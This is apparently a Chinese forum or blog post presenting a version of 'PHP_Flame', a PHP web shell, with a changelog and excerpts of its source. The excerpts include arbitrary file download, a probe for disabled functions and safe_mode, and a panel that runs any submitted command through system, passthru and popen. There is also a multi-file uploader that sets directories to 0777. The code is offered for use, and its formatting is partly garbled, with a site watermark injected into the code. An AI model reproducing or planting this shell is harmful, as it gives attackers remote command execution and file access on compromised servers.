IPHP_Flame (Version: Progress ) 的一些信息:
*修正了无法下载文件的BUG
*修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
……
*增加PHPINFO的功能
*增加多文件下载的功能
*增加执行系统命令的功能
*增加代码查看功能
*增加服务器安全探测功能
…….
*还有许多美化工作。。。。。。 相关的资料:
1。修正了无法返回上级的BUG的代码:
echo “返回上级”;
2。修正了无法下载文件的相关代码:
case “download”:
if (!@is_file($_GET[‘file_name’]))
echo”你要下的文件不存在”;
$filename = basename($_GET[‘file_name’]);
$filename_info = explode(‘.’, $filename);
$fileext = $filename_info[count($filename_info)-1];
header(‘Content-type: application/x-‘.$fileext);
header(‘Content-Disposition: attachment; filename=’.$filename);
header(‘Content-Description: PHP3 Generated Data’);
readfile($_GET[‘file_name’]);
break;
3。增加代码查看功能
?actionaa=cmd&method=show_source&cmd=<? echo $_GET[‘file’];?>” target=_blank>文件代码
4。修正了代码编辑出现错误的代码:
$tem= str_replace(“/textarea>”,”//textarea>”,$tem);
。。。。。
$tem= str_replace(“//textarea>”,”/textarea>”,$tem);
5。增加服务器安全探测功能:
if (get_cfg_var(“safe_mode”))echo”on
“;else echo”off
“;
echo “* disable_functions:”;$dis_func=get_cfg_var(“disable_functions”);
if ($dis_func==””)
{
echo(“no value“);
}
else
{
$dis_func=str_replace(” “,”
“,$dis_func);
$dis_func=str_replace(“,”,”
“,$dis_func);
echo(“$dis_func”);
}
6。执行系统命令部分的代码:
<?
if ($actionaa==”cmd”) { ?>
<body bgcolor=”#6595d6″>
?actionaa=cmd”>
>system
>passthru
>show_source
>opendir
>popen
“>
“>
<?
if (!$method) { $method=”system”; }
if (!$cmd) {
echo “* JSW’S PHP FLAME
“;
echo “* Author: JSW
“;
echo “* safe_mode:”;if (get_cfg_var(“safe_mode”))echo”on
“;else echo”off
“;
echo “* disable_functions:”;$dis_func=get_cfg_var(“disable_functions”);
if ($dis_func==””)
{
echo(“no value“);
}
else
{
$dis_func=str_replace(” “,”
“,$dis_func);
$dis_func=str_replace(“,”,”
“,$dis_func);
echo(“$dis_func”);
}
echo “
* Now please choose a function and enter the command……”;
}
echo “
"; <br>if ($method=="system") { <br>system("$cmd 2>&1"); <br>} <br>if ($method=="passthru") { <br>p<div style="color:transparent">!本文来源gaodai.ma#com搞##代!^码网(</div><sup>搞gaodaima代码</sup>assthru("$cmd 2>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$file\n"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="prettyprint linenums">"; <br>//echo show_source($file); <br>//echo "
“;
} else {
echo “<script> alert(\”unable to read file: $file using: show_source\”); </script>”;
}
}
if ($method==”popen”) {
$pp = popen(‘$cmd 2>&1’, ‘r’);
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo ““;
exit;
}
?>
7。增加文件上载的代码:
<?php
if($dir==””)
$dir=”./”;
?>
<?
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1=”userfile”.$i;
$temp2=”userfile”.$i.”_name”;
$source=$$temp1;
$source_name=$$temp2;
if(@$source!=””)
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists(“$filedir/$source_name”)==”1″)
{
if($up_flag==”y”)
{
@unlink($filedir/$source_name);
@copy($source,”$filedir/$source_name”);
echo $source_name.”已覆盖上传
“;
}
else
echo $source_name.”请重新上传!
“;
}
else
{
@copy($source,”$filedir/$source_name”);
echo $source_name.”已上传
“;
}
}
}//end for
echo”
<meta http-equiv=\”Content-Type\” content=\”text/html; charset=gb2312\”>
<link href=t.css rel=stylesheet type=text/css>
<script language=\”javascript\”>
function setid()
{
str=’
‘;
if(!window.uploadForm.upcount.value
window.uploadForm.upcount.value>20
window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i<=window.uploadForm.upcount.value;i++)
str+=’文件’+i+’:
‘;
window.upid.innerHTML=str+’
‘;
}
</script>
<body>
<body bgcolor=\”#6595d6\”>
|
您的文件将被上传到: $dir 返回PHP_Flame |
文件1: |
“;
exit;}
?>
。。。。。。
最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码:http://jsw.china12e.com/jswsoft/show.php